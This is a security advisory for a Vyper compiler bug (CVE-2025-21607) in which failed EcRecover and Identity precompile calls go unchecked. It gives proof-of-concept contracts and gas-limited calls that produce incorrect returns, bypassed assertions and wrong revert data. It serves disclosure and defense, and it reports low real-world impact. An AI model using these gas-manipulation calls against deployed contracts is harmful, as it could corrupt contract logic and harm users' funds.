CVE-2025-21607: Success of Certain Precompile Calls not Checked in Vyper

Summary

When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.

Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.

The fix is tracked in https://github.com/vyperlang/vyper/pull/4451.

Details

The relevant precompiles

EcRecover

EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.

Identity

- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events. - Identity is no longer used when evm-version cancun is used (because MCOPY is used instead). In 0.4.0 cancun is default, in 0.3.10 cancun is an option, otherwise cancun is not available. As only pre-cancun versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.

The other precompiles

- Calls to Sha2, ecAdd, and ecMul have success checks and have had them for a long time. - The precompiles modexp, ripe, blake, ecPairing, and Point Evaluation have no builtins in vyper.

PoC

In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.

ecrecover use

- Affected versions: 0.2.0 - 0.4.0 - For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and ecrecover were checked. - For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases. - As mentioned above at most 47 gas is left after the failed call, hence a return is the most realistic scenario to be attacked.

Vulnerable Code: py @external @view def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address: return ecrecover(hash, v, r, s)

Problematic Call: py print( c.foo( binascii.unhexlify( "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055" ), 28, 78616903610408968922803823221221116251138855211764625814919875002740131251724, 37668412420813231458864536126575229553064045345107737433087067088194345044408, ) ) # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A

print( c.foo( binascii.unhexlify( "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055" ), 28, 78616903610408968922803823221221116251138855211764625814919875002740131251724, 37668412420813231458864536126575229553064045345107737433087067088194345044408, gas=3000, ) ) # Returns 0x0000000000000000000000000000000000000000

Identity to copy Dynamic Arrays

- Affected versions: 0.3.2 - 0.3.9 - Dynamic Arrays might be copied on different occasions - That copy operation can fail leading to incorrect accesses afterwards

Vulnerable Code: py

@external def foo() -> uint256: a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] b: DynArray[uint256, 4000] = a return b[0]

Problematic Call: py print(c.foo()) # Prints 2 print(c.foo(gas=170000)) # Prints 0

Identity in ABI Encoding of Returndata

- Affected versions: 0.3.2 - 0.4.0 - Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned - In that return there is a memory copy which can fail

Vulnerable Code: py @external @view def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]: z: DynArray[String[1000000], 2] = [x, y] # Some code return z

Problematic Call: py calldata0 = "a"10 calldata1 = "b"1000000 c.foo(calldata0, calldata1) # Returns correct data c.foo(calldata0, calldata1, gas=48400000) # Returns incorrect data (only first part)

Assertion based on data copied through Identity

- Affected versions: 0.2.0 - 0.4.0 - An incomplete copy operation might falsify the result of a subsequent assert

Vulnerable Code: py @internal def bar() -> uint256[3000]: a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] return a

@external def foo(): s: uint256[3000] = self.bar() assert(s[0] == 0)

Problematic Call: py try: c.foo() # Correctly reverts except Exception as e: print("Correctly reverted") try: c.foo(gas=210000) # Incorrectly succeeds print("Incorrectly succeeded") except Exception: pass

Identity used in rawrevert

- Affected versions: 0.3.8 - 0.4.0 - A copy operation might appear as part of rawrevert - As a result the revert reason might be incorrect

Vulnerable Code: py @external def foo(data: Bytes[10000]): b: Bytes[10000] = data rawrevert(b)

Problematic Call: py calldata = binascii.unhexlify("bb" 10000) c.foo(calldata) # Has correct revert reason c.foo(calldata, gas=4800) # Has empty revert reason, but not out-of-gas

Identity to copy static arrays

- Affected versions: 0.2.0 - 0.4.0 - Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions - As this access is especially cheap (due to the static checks) it can also happen for smaller sizes

Vulnerable Code: py @external def foo(x: uint256[2500]) -> uint256: s: uint256[2500] = x t: uint256[2500] = s return t[0]

Problematic Call: py calldata = [2] + [0] 2499 print(c.foo(calldata)) # Prints 2 print(c.foo(calldata, gas=74500)) # Prints 0

Identity to copy and return String or Bytes

- Affected versions: 0.20 - 0.4.0 - Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions - If the target buffer is later returned, incorrect data might be returned

Vulnerable Code: py @external @view def foo(x: String[1000000]) -> String[1000000]: return x

Problematic Call: py calldata = "a"1000000 x = c.foo(calldata) # Returns calldata y = c.foo(calldata, gas=8000000) # Returns empty data

Identity and accessing the length of the target data

- Affected versions: 0.3.10 - 0.4.0 - Accessing the data is fairly cheap, making it possible for smaller data copies

Vulnerable Code: py @external @view def foo(x: String[1000000]) -> uint256: y: String[1000000] = x return len(y)

Problematic Call: py calldata = "a"1000000 x = c.foo(calldata) # Returns correct length y = c.foo(calldata, gas=7929200) # Returns incorrect length

Identity to copy and return String or Bytes

- Affected versions: 0.3.10 - 0.4.0 - Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions - If the target buffer is later returned, incorrect data might be returned

Vulnerable Code: py @external @view def foo(x: String[1000000]) -> String[1000000]: return x

Problematic Call: py calldata = "a"1000000 x = c.foo(calldata) # Returns calldata y = c.foo(calldata, gas=8000000) # Returns empty data

Impact

A contract search was conducted and yielded no significant results.

The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.